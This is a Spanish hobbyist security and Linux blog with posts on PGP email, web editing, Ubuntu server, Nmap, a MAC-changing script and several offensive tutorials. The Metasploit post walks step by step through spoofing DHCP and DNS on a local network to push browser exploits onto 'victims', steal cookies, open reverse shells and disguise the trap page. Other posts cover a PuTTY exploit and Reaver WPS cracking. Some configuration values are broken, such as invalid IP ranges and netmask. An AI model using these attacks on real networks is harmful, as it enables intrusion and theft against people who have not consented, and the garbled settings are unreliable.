Thunderbird y Enigmail. Mete en un sobre tus correos anda...

  Quizá los de mi quinta no hemos llegado a conocer bien el uso de la carta escrita que con tanto acerbo guardan nuestros padres aquellas de cuando novios o de la mili. Mas de uno hemos de pensar dos veces para recordar a qué lado del sobre habíamos de marcar el remitente y cual se reservaba para la dirección de envio.
  Bien cierto es que los correos electrónicos se han comido literalmente el correo ordinario, pero es sorprendente ver lo poco que a la mayoría les interesa la privacidad de éste, incluso en los momentos en que sabemos que mandamos información personal o delicada. Y es que antes metíamos un papel en un sobre que, aunque no fuera mucho, protegía nuestro mensaje de miradas indiscretas. Hoy, con unas alarmantes estadísticas que dicen que al menos 50 millones de equipos DOMÉSTICOS (esto es UNO de cada VEINTE) están infectados por algún tipo de virus o malware, según Kaspersky, y eso sin entrar en servidores privados, es mucho más que posible que un pequeño script de apenas 20 kb este haciendo un bypass a nuestro puerto SSL y rompiendo de esta forma el poco cifrado de los servidores de e-mail habituales. También habría que destacar las técnicas de phising (robo de identidad o identidad falsa) que pululan por la red, la exposición de nuestro correo en cada nodo responsable de su envío... comprometiendo más si cabe nuestra privacidad.
  Sabiendo esto es ahora cuando debería entrar en juego la preocupación del usuario y, implantar medidas para asegurar su privacidad y, ya que hablamos de correo electrónico, quiero introducir al usuario preocupado, en el uso de claves PGP para cifrar y evitar el phising en nuestros correos.
  PGP o Pretty Goo Privacy (Así como suena XD) es una medida de cifrado entre un emisor y un receptor de información basada en claves públicas y privadas. Cada uno ha de generar un par de claves, una de ellas será pública, destinada a compartir con quienes desean enviarle correo cifrado, y otra se usará para cifrar y descifrar lo recibido de manera privada. Intento explicarlo copiando un párrafo de un pequeño curso de criptografía asimétrica que se puede descargar aquí:

"Entonces, Agustín y Bernardo, deciden utilizar criptografía asimétrica.
Agustín y Bernardo crean cada uno un par de claves Pública y Privada. Vamos a llamarlas E(A), E(B), D(A) y D(B), siendo E(A) la clave pública de Agustín, E(B) la clave pública de Bernardo, D(A) la clave privada de Agustín y D(B) la clave privada de Bernardo.
1) Agustín le envía a Bernardo E(A) y Bernardo le envía a Agustín E(B).
2) Agustín cifra con E(B) los datos que le quiere mandar a Bernardo y Bernardo cifra con E(A) los datos que le quiere mandar a Agustín.
3) Agustín descifra con D(A) los datos que recibió de Bernardo y Bernardo descifra con D(B) los datos que recibió de Agustín.
4) Eva, lo único que puede ver en el canal, son las dos claves públicas y los datos cifrados, entonces, esta no va a poder ver los datos que Agustín y Bernardo comparten.

Canal seguro: OK!!"

  Una vez entendido esto, vamos a aplicarlo utilizando Mozilla Thunderbird como gestor de correo (que, al menos, todavía no se sabe que deje acceso a la NSA para fisgar nuestros correos por contrato como cierto programa de cuyo nombre...) y el complemento Enigmail que, de forma gráfica y sencilla nos permitirá cifrar nuestro correo y administrar las claves públicas de nuestros contactos.

  Si no lo tenemos ya, descargamos Thunderbird desde aquí: https://www.mozilla.org/es-ES/thunderbird/ y lo instalamos normalmente. Para descargar el complemento de enigmail, lo hacemos desde https://addons.mozilla.org/es/thunderbird/addon/enigmail/ y, desde Thunderbird, con su menú de la derecha, nos vamos a complementos. Desde allí, con otro menú a la derecha de la barra de búsqueda elegimos instalar desde archivo y seleccionamos la descarga de el complemento. Reiniciamos Thunderbird y un intuitivo asistente nos preguntará si necesitamos ser guiados en la configuración de las claves y demás. Aceptamos y lo seguimos. Tras responder a unas preguntas y marcar nuestras preferencias, enigmail empezara a captar datos aleatorios generados por el sistema y nos recomendará usar nuestro navegador etc, para acelerar el proceso de creación de claves.
  Ahora cuando enviemos correo a uno de nuestros contactos que nos ha proporcionado su clave pública, el correo se firmará automáticamente (si así lo hemos seleccionado en el asistente) y desde el menú desplegable de OpenPGP se nos dará también la opción de cifrarlo. Cuando recibamos correo cifrado de uno de nuestros contactos éste debería aparecer plenamente visible si hemos iniciado sesión con nuestra clave privada.

  

 Por hoy es todo, ahora toca aplicar estas medidas poco a poco con tus contactos. Es mejor insistir en el uso de estas técnicas que lamentar no haberlas implementado y visto lo visto, cualquier precaución es poca.

  ¡Salud!

BlueFish. Diseñando webs en Linux

  El caso es que me he agenciado un dominio y viendo que ando un poco verde con esto del diseño web, he decidido ponerme manos a la obra (o mejor ojos al manual) e hincar los codos antes de dar el paso de alquilar un hosting decente. Pese a disponer de un completo libro de diseño en Adobe Dreamweaver, (regalo de cumpleaños con muy buenas intenciones y poco uso previsto) mi moral anti windows me lleva a darme de cabeza con el poco respaldo que he visto al único programa GNU con este fin.

  Bluefish se puede encontrar en los repositorios oficiales de Ubuntu y Debian y para instalarlo solo es necesario un simple sudo apt-get install bluefish desde la consola o bien buscarlo en el centro de software.
  Como dicen en su página web http://bluefish.openoffice.nl/index.html y viéndolo un poco por encima:
  "Bluefish is a powerful editor targeted towards programmers and webdevelopers, with many options to write websites, scripts and programming code. Bluefish supports many programming and markup languages."
  Y si que parece soportar lenguajes, C, cfml, ColdFussion, Gettext po, HTML, Java, Pascal, Perl, Python, PHP, XML y alguno más que me dejaré por ahi. No obstante aún no se utilizarlo y lo único que he encontrado ha sido la guía que está disponible en su web, por supuesto, en inglés.
  Si alguno de los que pasarais por aquí consigue encontrar algo decente que me haga no tener que descifrar y empollarme un divertido y entretenido ladrillo en el bendito idioma sajón, le estaré eternamente agradecido ;)

  En cuanto al estado de la página y sus pocas actualizaciones... Pues eso, dame tiempo que estoy intentando montar algo que vaya más allá que un simple blog y, por suerte o por desgracia, lo que me vuelve a sobrar ahora es tiempo.

  ¡Salud y hasta otra!

Browser autopwn & fake DNS & DHCP spoofing con Metasploit

##Se ve que google no quiere que suba las capturas de pantalla que tenía pensadas. Cuando me deje edito y las planto en el texto.

Continuando con Metasploit, hoy voy a contar como realizar un ataque efectivo dentro de un entorno de red local. Para ello conseguiremos redirigir a las víctimas a nuestro servidor apache previamente infectado con una carga de exploits,  que se ejecutarán en nuestro objetivo u objetivos. Para lograrlo cargaremos desde metasploit un servidor DHCP que se encargará de dar las direcciones IP falseando la ruta del DNS a nuestro servidor. También usaremos metasploit para montar el DNS envenenado que redirigirá las solicitudes a nuestro apache.
Primero, y para estar seguros de que contamos con los últimos exploits públicos y añadidos a Metasploit, actualizamos la aplicación desde la terminal:
sudo msfupdate

Cuando se descarguen e instalen las actualizaciones, si las hay, entramos en la consola de msf:
sudo msfconsole

Ahora procedemos a crear el DNS falso entrando al módulo propio de metasploit con:

use auxiliary/server/fakedns

Ahora  teclearemos en comando info para ver las opciones del módulo. En principio, no cambiaremos nada salvo TARGETHOST (set TARGETHOST)  dejando éstas opciones:
SRVHOST - 0.0.0.0 #Esto nos indica el servidor sobre el que funcionará el módulo DNS

SRVPORT - 53 #Valor del puerto en el que escuchará el demonio
TARGETACTION - bypass #Aquí se concreta el método de actuación del demonio. Este puede ser bypass, para dar una ruta válida a la dirección escrita en TARGETDOMAIN, o fake para la acción contraria (resolver solamente las aparecidas en TARGETDOMAIN)
TARGETDOMAIN - google.com #Rutas para resolver (o no) según el valor de TARGETACTION
TARGETHOST - 192.168.1.87 # Esta es la dirección de nuestra máquina en la que activaremos el servidor apache envenenado, la vuestra probablemente sea otra.

Con todo esto configurado solo nos queda dar la orden de run para que se inicie el demonio.
Una vez activado el DNS entraremos en el módulo del DHCP que, si todo va bien, será mas rápido que el propio router y falseará la tabla de direcciones dando como DNS nuestro demonio envenenado.

use auxiliary/server/dhcp
info

Usando el comando set dejaremos las opciones de la siguiente forma:

DHCPIPEND - 192.168.1.350  #Esta variable no es absolutamente necesaria no obstante nos marcará con facilidad que máquinas están envenenadas y cuales siguen siendo legítimas.
DHCPIPSTART - 192.168.300 #Con esto definimos el rango de IPs que empezará a dar nuestro demonio.
DNSSERVER - 192.168.1.87 #La dirección de nuestro servidor en el que escucha el DNS falso
NETMASK - 255.255.255.1 # Aquí indicamos el valor de la máscara de nuestra subred.
ROUTER - 192.168.1.1 #La dirección de salida de las peticiones resueltas.
SRVHOST - 192.168.1.87 #Dirección del host sobre el que trabajará el demonio DHCP

Con esto configurado solo nos queda dar la orden de ejecución run y pasar a configurar el módulo browser autopwn.

use auxiliary/server/browser_autopwn
info

Con el comando set de nuevo, cambiamos tres valores:

LHOST - 192.168.1.87 #La dirección local para configurar los payloads de cada exploit.
SRVPORT - 8080 #Puerto de escucha del módulo, que sea distinto al 80 ya que este lo ocuparemos en el siguiente paso.
URIPATH - / #La Ubicación de los exploits dentro del demonio de apache que creará el módulo.

Mandamos la activación con un run y nuestra terminal se empezará a llenar de lineas que nos indican los exploits activados escondidos en nuestro servidor http. Hay muchos que cargar y le costará un rato.
 El último paso requiere llamar a un módulo que se encargará de escuchar en el puerto 80 de nuestra máquina, capturando las cookies de la víctima a base de falsear autenticaciones de ciertas páginas web (definidas en /opt/metasploit/apps/pro/msf3/data/exploits/capture/http/) y redirigir la solicitud a los distintos exploits que cargamos con browser autoPWN. Llamamos al módulo

use auxiliary/server/capture/http
info

Con la orden set definimos las valores:
AUTOPWN_HOST - 192.168.1.87 #La dirección IP en la que corre browser autoPWN
AUTOPWN_PORT - 8080 #Puerto
AUTOPWN_URI - / #La dirección dentro del servidor http.

Activamos el módulo con un run y tenemos nuestra trampa preparada y aguardando nuevas víctimas.
Como cualquier ataque que falsea el DHCP en una red local, la metodología es la siguiente. Tarde o temprano un nuevo cliente se autenticará en la red y, salvo que tenga normas de no solicitar una dirección IP al servidor DHCP legítimo (es decir, el del router u otra máquina de la red) mandará una solicitud ARP a la dirección de broadcast preguntando dónde está el servidor DHCP. Lo normal sería que solo una máquina contestase a ésta petición y comenzase una negociación cliente-servidor. Pero cuando hay dos servidores DHCP ante una petición, el cliente negociará siempre con el que menos tiempo tarde en contestar. Así pues se inicia una carrera entre el servidor legítimo y nuestro DHCP spoofeado. Normalmente, cuando competimos con uno alojado en un router, gracias a la sencillez del módulo de Metasploit y a que, en la mayoría de los casos, nuestro procesador estará menos atareado y será mas eficiente, seremos nosotros quienes contestemos primero a la solicitud.
El módulo DHCP falseado otorgará una dirección IP, una máscara de red y una puerta de enlace tan legítimas y válidas como las que hubiera podido dar el servidor real. Lo que cambiamos es la dirección DNS (Domain Name Resolution, que como bien sabéis se encarga de "traducir" las direcciones tipo google.com, ebay.es... que por si solas no significan nada a la hora de enrutar los paquetes de datos,  por direcciones IPv4 o IPv6 legibles y necesarias para la capa de red, según el modelo OSI.) por la dirección de nuestra máquina.
¿Qué conseguimos con esto? Pues podemos dar direcciones IP falsas para el nombre que nos pide el cliente, haciendo, por ejemplo, que si una víctima, teclea en su navegador http://www.cristianos.es para acceder a su foro favorito a despotricar sobre la clonación de embriones humanos con fines médicos y defender las teorías de creacionismo y el sexo con fines de procreación, nuestro DNS envenenado le diga que la IP que está buscando es, por ejemplo, esta: 64.88.241.153
Pero nosotros como atacantes no nos quedamos ahi. Nuestra intención es redirigir a la víctima para que entre a nuestro servidor web así que las direcciones falseadas darán nuestra IP en la red local.
¿Qué pasa si entran? Pues que hemos cargado un buen puñado de exploits dentro de nuestro host esperando que nuestra incauta víctima sea redirigida hacia ellos gracias a nuestro programilla de captura http que está corriendo en el puerto 80. Cuando alguien entra en nuestra página web, se encuentra con esto mientras los exploits se van ejecutando en su sistema.

Que si bien no es muy agradable ni inspira mucha confianza, podemos afilar  nuestras armas editando el fichero html /opt/metasploit/apps/pro/msf3/data/exploits/capture/http/index.html para dar la impresión de un error o un mensaje de espera que no haga sospechar a la víctima.
Si el ataque tiene éxito, es decir, si alguno de los exploits consigue vulnerar el sistema y ejecutar su payload, se creará una conexión víctima-atacante (reverse TCP)que podremos vislumbrar con el comando:
sessions
desde la consola de metasploit.
Todo es cuestión de tender nuestro cepo y esperar. Requiere, como casi todo en el mundo de la informática, paciencia. Mucha paciencia.

¡Saludos y hasta otra!

Metasploit instalación y toma de contacto

Si hay una herramienta, que a fuerza del paso del tiempo, se ha convertido en recurrente para cualquier aficionaddo o profesional al pentesting, esta es Metasploit. A decir verdad, está mal tratar a metasploit como una herramienta ya que en sí es un potente conjunto de ellas. Metasploit por si solo nos brinda todos los recursos que podemos usar en una prueba de penetración común y no solo eso sino que además nos permite modificar y añadir complementos para personalizar nuestros ataques además de integrarse perféctamente con bases de datos SQL que permitirán guardar nuestros progresos e información.
Vamos a instalarlo y a probar como se lanza un exploit o se ejecutan los módulos integrados. Primero descargamos el instalador desde ésta página: http://www.metasploit.com/download/ Elegimos el que más se adapte a nuestro sistema operativo y descargamos (le costará un rato). Ahora nos vamos a la consola, obtenemos privilegios de root y navegamos a la carpeta de desgargas para darle permisos de ejecución al archivo .run que hemos descargado.
sudo su
cd Descargas
chmod +x metasploit-latest-linux-x64-installer.run
./metasploit-latest-linux-x64-installer.run
Así ejecutaremos un cómodo instalador que nos guiará durante el proceso. Cuando concluya, despues de elegir los puertos que usará el programa para sus servicio, se ejucutara el entorno gráfico por el servidor http en la dirección localhost:3790, el cual nos pedirá un registro y una clave que obtendremos gratuitamente en el correo que registremos.

Metsploit tiene varias interfaces de usuario pero es mejor iniciarse desde un principio con su consola ya que nos permite una mayor interacción con las herramientas que componen esta fabulosa framework. Para iniciarla escribimos desde la consola, siempre con privilegios de root: msfconsole
Tras una breve espera (le custa unos segundos cargar) aparecerá el banner y un prompt msf > esperando órdenes. Lo primero que aremos será teclear la orden msfupdate para actualizar la base de datos de Metasploit y descargar nuevos módulos, exploits o payloads que hubiese disponibles. La actualización utiliza el protocolo git así que asegúrate de permitir el tráfico en el puerto 9418 desde tu firewall. Cuando la actualización concluye se supone que hemos descargado los últimos exploits publicados en los repositorios de Metasploit, así que toma por costumbre actualizar cada poco tiempo.
Bien, la interacción con esta framework es bastante sencilla. Cada servidor, escáner, exploit o payload funciona como un módulo configurable. Para ver los módulos disponibles nos basta con teclear el comando "show". Ya que contamos con multitud de módulos, es preferible acompañar show de lo que queremos que se nos muestre, por ejemplo, exploit, auxiliary, payloads, encoder, plugins... para saber con qué podemos concretar cada comando, basta con escribirlo y pulsar el tabulador un par de veces.
Vamos a ver como se programaría y lanzaría un exploit en Metasploit. Como ejemplo usaremos "putty_msg_debug", que provoca un buffer overflow en el programa putty.exe (que es una herramienta para gestionar y establecer conexiones ssh, telnet etc.) en versiones anteriores a la 0.53. Para seleccionarlo basta con teclear tras el prompt: use exploit/windows/ssh/putty_msg_debug y pulsar intro. Entonces el prompt cambiará indicandonos el módulo en el que nos encontramos. El siguiente paso antes de lanzarlo es, obviamente, configurarlo y para ello primero debemos ver las opciones que nos da. Tecleamos info para que la consola nos devuelva las opciones básicas y algo de información del exploit.

 Este exploit en concreto tiene mas bien poco que configurar. Nos indica, y podemos intuir que es un código que permanecerá a la escucha como servidor ssh esperando que un usuario se conecte con el programa adecuado, en este caso putty desde windows, y una vez conectado lanzará una orden. Ésta leida por el programa a explotar, provocará un bug del tipo buffer overflow, que nos permitirá ejecutar código en la máquina objetivo. En la tabla de basic options vemos los requisitos básicos tales como SRVHOST (Host servidor) que como nos indica, debe configurarse con una dirección en localhost o bien quedarse en 0.0.0.0 . Lo dejaremos tal cual. La opción SRVPORT se refiere al puerto concreto sobre el que estaría corriendo el servidor ssh en nuestro pc, ubicado por defecto en el 22. Las otras tres opciones tratan la opción de incluir certificados SSL que no explicaré aquí. Pongamos que nuestra honeypot, nuestro anzuelo, es un servidor falso que en un "despiste" o "imprudencia" tiene el puerto 5009 utilizado por un demonio ssh sin medidas de autenticación. Ningún atacante que escanee nuestros puertos podrá resistirse a semejante carnaza. Para cambiar el puerto de escucha del exploit al que tiene nuestro demonio ssh teclearemos el comando set seguido del parámetro a cambiar; SRVPORT y el valor; 5009 quedando así la línea: set SRVPORT 5009 .
Una vez cambiados los valores pertinentes y dando todo por configurado solo queda lanzar el exploit escribiendo: exploit. Metasploit ejecutará el módulo poniendolo a la escucha en el puerto indicado y activará un servicio de escucha para el payload por defecto que creará una conexión al puerto 4444 desde la víctima dándonos una sesión de meterpreter (una shell preconfigurada por metasploit). Es decir, que si alguien se conecta a nuestro servidor ssh abierto con una versión de putty.exe anterior a 0.53 se lanzará una orden al programa que provocará un fallo aprovechable para ejecutar el payload predefinido por metasploit abriendo una conexión en la víctima hacia nuestra máquina en el puerto 4444 que previamente estará escuchando nuestro handeler. Si el ataque surte efecto la consola nos lo indicará con un aviso de session opened y tecleando sessions -l nos mostrará el identificador de las sesiones abiertas que usaremos para iniciar la interacción con la shell obtenida ejecutando un sessions seguido del identificador y el flag -i. sessions 1 -i

De momento es todo. Profundizaremos mucho mas en esta framework creando ataques automatizados, detallando como hacer el famoso karmametaspliot, explorando el módulo auxiliar browser autopwn y su potencial combinandolo con un servidor dhcp y fake dns.... Tiempo al tiempo.
Hasta la próxima!

Reaver, bombardeo a WPS

WPS (Wifi Protect Setup) Es un estándar que, lamentablemente, viene a demostrarnos cómo a veces se sacrifica la seguridad para facilitar la interacción del usuario que, como media, cada vez tiene menos conocimientos de informática. Este estándar fué creado para facilitar la configuración de las redes inalámbricas protegidas con WPA y WPA2. Básicamente, y sin profundizar demasiado, se basa en un sistema que mediante una clave de 10 dígitos (Hay otras como la PBC o NFC o inclusive por USB que no nos interesan ahora), configura de forma automática las credenciales SSID y PSK para obtener la clave y autenticación.
El problema de esta función es que suele ser vulnerable a un ataque de fuerza bruta (prueba y error) y en pocas horas podemos tener acceso al dispositivo.
Reaver, es uno de los programas creados con ese fin, probar una y otra vez las variaciones de esos 10 dígitos hasta dar con la clave correcta. Vamos a descargarlo e instalarlo desde la consola de comandos:

sudo su
cd pentest
wget http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz
tar -xf reaver-1.4.tar.gz

cd reaver-1.4/src/
./configure
make
make install

Reaver funciona de una forma muy básica. Utiliza nuestra interfaz wifi en modo monitor para asociarse con el AP (punto de acceso) y lanzar intentos de identificación WPS. Solo necesitamos llamarle desde la linea de comandos e indicarle la interfaz a usar y la BSSID que queremos atacar. Primero ponemos nuestra wlan en modo monitor con "airmon-ng start wlan0" luego buscamos nuestro objetivo con airodump "airodump-ng mon0". Apuntamos la BSSID de nuestro objetivo y llamamos a reaver "reaver -i mon0 -b xx:xx:xx:xx:xx:xx -vv"

Con un poco de paciencia (no esperen hacerlo en unos minutos, en ocasiones puede tardar más de un día, depende de la conexión y las reglas del router.) reaver acabará dándonos el pin así como la contraseña WPA/WPA2.
Por hoy es todo.
¡Hasta otra!

Script en bash para cambiar la mac

Para el que pedía scripts, ahí va uno:

#!/bin/bash

# Este script cambia la dirección MAC la tarjeta ethernet por una nueva que
# se genera de manera pseudoaleatoria.

mac_gen() {

RANGE=256
i=0

n=$RANDOM
let "n %= $RANGE"
let r=n%2
let n=n+r
n=`printf '%x\n' $n`

mac=`printf $n:`

while [ $i -lt 5 ]; do

    n=$RANDOM
    let "n %= $RANGE"
    n=`printf '%x\n' $n`

    if [ $i -lt 4 ]; then
         mac=${mac}`printf $n:`
    fi

    if [ $i = 4 ]; then
         mac=${mac}`printf $n`
    fi

    let i=i+1

done

}

mac_gen

echo MAC: $mac

exec ifconfig eth0 hw ether $mac

Ubuntu server II

En el último post dejamos el servidor funcionando y entablamos una conexión por ssh para no necesitar disponer de un segundo teclado y pantalla a la hora de operar. Hoy configuraremos el demonio de samba que nos permitirá navegar por los discos duros que compartamos en nuestro Ubuntu server tal y como de una carpeta en nuestro sistema se tratase. Además añadiremos un servidor de ftp que nos permita compartir archivos vía web.
Lo que haremos será configurar el servidor samba orientado exclusivamente a nuestra red local que nos dará compatibilidad total con maquinas tanto Linux como Windows.
Primero hemos de crear o seleccionar una carpeta a compartir. En mi caso, he instalado un viejo disco duro de 500 gigas sobre el que no está implantado el sistema, con esto quiero decir que, para poder acceder a él, primero he de montarlo. Esto, con el comando mount no es un problema en si, pero si reinicio el servidor, debería volver a montar manualmente el disco cada vez y esto no es productivo. Para remediarlo voy a pedir al sistema que lo monte con cada arranque en la carpeta que luego compartiré con samba y ftpd que será /home/chaosnet/compartido/ . Como la carpeta no existe, vamos a crearla. Lo primero de todo, sobra decir, nos identificamos en el sistema como root.

sudo su
cd /home/chaosnet/
mkdir compartido

Ahora editaremos el fichero encargado de montar las particiones y los discos en el arranque de Linux, este fichero se llama fstab y se encuentra en /etc/ . Antes de meternos con él, necesitaremos saber algun detalle de el disco/partición que vamos a montar, para ello, llamamos al comando blkid que nos dará una tabla con los discos y particiones que tenemos en el servidor. Apuntamos el dígito de UUID (en mi caso 0F62EA1009625EE2) y el TYPE o tipo de sistema (NTFS) del disco que deseemos montar. Ahora si, nos vamos a editar el fichero fstab.
 Hacemos antes de nada una copia de seguridad y lo abrimos con nano:

cp /etc/fstab /etc/fstabOLD
nano /etc/fstab

Al final del archivo añadimos lo siguiente:
UUID=0F62EA1009625EE2 #(el código que hemos sacado de blkid)
Presionamos el tabulador y añadimos la carpeta donde queremos que se monte:
/home/chaosnet/compartido
Tabulador y el tipo de sistema de archivos de nuestra partición:
ntfs-3g
Otro tabulador y declaramos las opciones:
default
Un tabulador más y definimos el dumpeo, 0 para desactivarlo
0
El ultimo tabulador para definir fsck o un chequeo del disco. Lo dejamos desactivado:
0
En mi caso la línea quedaría así:
UUID=0F62EA1009625EE2                /home/chaosnet/compartido         ntfs-3g      default    0         0
Recuerda que los espacios son tabulaciones. Si quieres aprender más sobre fstab aquí os dejo un enlace: http://www.linuxstall.com/fstab/ es una guía en inglés pero muy completa.
Una vez hecho esto guardamos y salimos (CTRL+O y CTRL+X) y mandamos un reinicio del sistema para comprobar que todo ha ido bien:

reboot

Cuando el sistema rearranque y tras volver a identificarnos con ssh nos dirigimos a la carpeta en la que debería estar montado nuestro disco y hacemos un ls para comprobarlo.

cd /home/chaosnet/compartido
ls

Si se muestran los archivos de la unidad es que todo a ido bien.
Ahora comenzaremos con samba.
Toda la configuración de samba esta escrita en el fichero /etc/samba/smb.conf y será este el que hemos de manipular, no sin antes hacer una copia de seguridad. Primero nos identificamos como root:

sudo su
cp /etc/samba/smb.conf /etc/samba/smb.confOLD
nano /etc/samba/smb.conf

Ahora, dentro del fichero, buscaremos la linea que empieza por workgroup en el apartado de global settings que tendrá un valor predefinido de WORKGROUP. Vamos a cambiarlo por el que queramos, por ejemplo, samba.
workgroup = samba
Las siguientes lineas que añadiremos al final del del archivo definirán las carpetas que compartiremos mediante samba, en mi caso será /home/chaosnet/compartido ajusta este ejemplo a tu caso:
[public]
comment = Archivos compartidos #Comentarios de la compartición
path = /home/chaosnet/comapartido #Directorio de la compartición
public = yes #Si será publico (yes) o privado (no)
writable = yes #Si se podrá escribir en ella por los usuarios (yes/no)

Podemos compartir tantas carpetas como deseemos agregando este texto las veces que sean necesarias. Cuando todo esté acabado guardamos y salimos y solo nos quedará recargar el servidor:
/etc/init.d/smbd reload

Siento el retraso por la entrada, cuestiones laborales. Para el próximo configuramos el ftp y el domino.
Hasta otra.  

Ubuntu server I

Esta semana un amigo me facilitó un par de ordenadores de empresa que iban a ir directamente a la basura. No eran grandes joyas, la verdad, además exceptuando un par de discos duros de no mas de 40 gigas cada uno (eso si, de conexión en caliente) y algún lector de cd utilizable había poco que rascar así que se me ocurrió la idea de montarme un pequeño servidor para ir dando caña al html (lenguaje que usan las páginas de internet) y montarme mi web con su dominio, su servidor ftp, sql y lo que se me vaya ocurriendo. Aparte de la más que suficiente motivación de trastear e ir aprendiendo poco a poco es una forma más que útil de poder ver las pelis en casa de algún colega sin necesidad de cargar con el disco duro portátil y tener completa disposición de determinadas herramientas cuando no estoy delante de mi ordenador.
Procurando todavía no meterme con soluciones alternativas (Cannonical ha de estar orgullosa de mi...) me decanto por Ubuntu Server en su versión 12.04. La instalación es sencilla, basta con grabar la imagen e introducirla en el lector de la máquina que queremos empiece a funcionar como servidor. Tras varias pantallas en las que se nos pedirá una partición o disco integro para el sistema, el nombre del pc, el del usuario y su contraseña nos preguntará que servicios deseamos incluir en la instalación. Para instalar un servidor web con apache, mysql y php, seleccionaremos LAMP. Ya que no disponía de pantalla ni monitor la solución obvia pasa por seleccionar también openSSH server que nos permitirá manejar el servidor desde otro pc. También seleccioné SAMBA para compartir de forma más cómoda mis archivos en la red local.
Tras concretar la contraseña de mySQL y alguna otra cosilla, la instalación procederá al copiado de archivos y terminará pidiendo un reinicio del sistema. Cuando rearranque lo primero que debemos hacer es configurar su lugar en la red ya que por defecto, la instalación habilita el uso del cliente DHCP para que sea el router quien se encargue de administrar una dirección IP válida a la máquina dentro de nuestra red. Esto está muy bien y automatiza el proceso de identificación pero en un servidor no es muy útil ya que los servicios DHCP harán que la IP del servidor pueda variar dificultando el acceso al mismo. Lo que vamos a hacer ahora es otorgar una IP estática en la configuración de la red de la máquina y deshabilitar el cliente DHCP.
Arrancamos y cuando Ubuntu server termina su carga nos dará una pantalla de identificación de terminal. Tras logearnos con nuestro nombre de usuario y contraseña modificaremos el archivo de configuración ubicado en /etc/network/interfaces. Como con todos los ficheros de configuración que cambiemos, recomiendo (sobre todo al usuario inexperto en el código a tratar) realizar antes una copia de seguridad del archivo. Ya que todas las acciones que realizaremos requieren privilegios de administrador primero teclearemos un sudo su para hacer permanentes los permisos loggeandonos como root:

sudo su
cp /etc/network/interfaces /etc/network/interfacesOLD

Una vez realizada la copia usaremos el editor "nano" para reescribir el fichero interfaces.

nano /etc/network/interfaces

En la última línea encontraremos la configuración de nuestra tarjeta ethernet, algo como esto:

iface eth0 inet dhcp

Que manda a la tarjeta funcionar por dhcp. Lo sustituiremos el siguiente texto:

address 192.168.0.104 #IP del servidor
netmask 255.255.255.0 #Máscara de subred
gateway 192.168.0.1 #IP de tu router
nameserver 208.67.222.222,208.67.220.220 #Dirección de tus servidores DNS

Las direcciones introducidas aquí son las mias, esto no quiere decir que puedan servirle a alguien más. Has de configurarlo acorde con tu red, recuerda que puedes averiguar tu ip con el comando "ifconfig"
Una vez hecho esto guardamos los cambios (CTRL+O) y salimos (CTRL+X). Ya solo queda reiniciar el servicio para que los cambios tengan efecto:

/etc/init.d/networking restart

Así cada vez que apaguemos el servidor y arranquemos estaremos seguros de tener la IP que le acabamos de especificar en el archivo de configuración.

En este momento ya se puede volver a desconectar la pantalla y el teclado y volver al pc de siempre para iniciar la configuración desde la consola por medio de Securit Shell o bien podemos continuar como estamos.

Para acceder a nuestro servidor desde otro pc abrimos una terminal y llamamos a securit shell indicándole el puerto de conexión el nombre del usuario con el que nos loggearemos y la dirección IP de la máquina con la que queremos establecer comunicación. En mi caso el puerto es distinto porque lo he cambiado manualmente para ponérselo más difícil (solo muy poco) a cualquier atacante que rastree mi red dándole un valor alto al que los escáneres rápidos no suelen llegar. Para una primera interacción el puerto estándar es el 22 así que la orden a introducir es esta:

ssh -p 22 (nombre usuario)@(IP máquina)

Se nos pedirá la contraseña del usuario y si todo va bien el prompt de la terminal cambiará por el de la máquina a la que hemos accedido. En ese momento, todas las órdenes que tecleemos serán ejecutadas directamente en nuestro servidor.

Para el próximo post (prometo que no volveré a tardar 11 dias) configuraremos el servidor samba y web además de añadir un demonio de ftp.
Hasta la próxima!

Nmap, escaneando la red

La herramienta que quiero tratar hoy es una de las mas importantes y eficaces en cuanto al fingerprint se refiere. Cuando se quiere hacer una prueba de seguridad (pentest) en una red el primer paso suele ser recabar información de nuestro objetivo, a esto se le llama information gathering o fingerprint. Debemos saber a que nos enfrentamos, que servicios se ejecutan en la máquina que tenemos por víctima, los puertos abiertos, que sistema está corriendo en ella etc... Aquí es donde entra Nmap. Nmap es un escáner de redes que puede facilitarnos increíblemente esta tarea mandando determinados paquetes de verificación cuyas respuestas serán interpretadas dándonos detalles tipo que puertos y servicios se están ejecutando, sistema operativo, versiones... Además, nos solo se que ahí ya que esta herramienta tiene un poderoso motor de scripts que puede ir desde opciones para intentar un bruteforce hasta
Para empezar, podemos instalarlo directamente de los repositorios de Ubuntu con un:

sudo apt-get install nmap

O bien podemos descargarnos la última versión de código fuente desde aquí. En esa página también aparecen las instrucciones para su instalación así que no las escribiré aquí.

Nmap requiere privilegios de root así que lo primero que haremos será un sudo su para no repetir cada sudo. EN principio es fácil de usar, no requiere mas que una llamada al programa seguido del objetivo a escanear, que puede ser un ip: 127.0.0.1 varias separadas por un espacio (127.0.0.1 192.168.0.100) o un rango de estas (192.168.0-1.*). También admite nombres de dominio (google.com, localhost).

  El comando nmap localhost cargaría un análisis básico sobre nuestra máquina local cuya salida solamente marcará los puertos abiertos de uso mas común con los servicios que corren en ellos. Ahora bien, si añadimos parámetros podemos hacer que nmap nos detalle más su búsqueda. Por ejemplo, añadiremos -A para detallar el sistema operativo, las versiones y un traceroute, -T5 para habilitar un método mas rápido y ruidoso y ampliaremos el rango de puertos TCP al máximo con -p 1-65535, a ver que sucede.

nmap -A -p 1-65535 -T5 localhost

La información de salida se ha ampliado enormemente, dándonos lo indicado por medio de los flags extra. Aquí dejo una guía con todos los argumentos de nmap y su uso. Aunque la mayoría de las veces solo usaremos un puñado, conviene darles un repaso.

TÉCNICAS BÁSICAS DE SCANEO:

·                     Escanear un solo objetivo - nmap [target]

·                     Escanear múltiples objetivos - nmap [target1,target2,etc]

·                     Escanear una lista de objetivos - nmap -iL [list.txt]

·                     Escanear un rango de hosts - nmap [range of IP addresses]

·                     Escanear una subred completa - nmap [IP address/cdir]

·                     Explorar hosts aleatorios - nmap -iR [number]

·                     Excluyendo los objetivos de un scan - nmap [targets] –exclude [targets]

·                     Excluyendo los objetivos mediante una lista - nmap [targets] –excludefile [list.txt]

·                     Realizar una exploración agresiva - nmap -A [target]

·                     Escanear un objetivo IPv6 - nmap -6 [target]

OPCIONES AVANZADAS DE SCANNEO:

·                     TCP SYN Scan - nmap -sS [target]

·                     TCP connect scan - nmap -sT [target]

·                     UDP scan - nmap -sU [target]

·                     TCP Null scan - nmap -sN [target]

·                     TCP Fin scan - nmap -sF [target]

·                     Xmas Scan - nmap -sX [target]

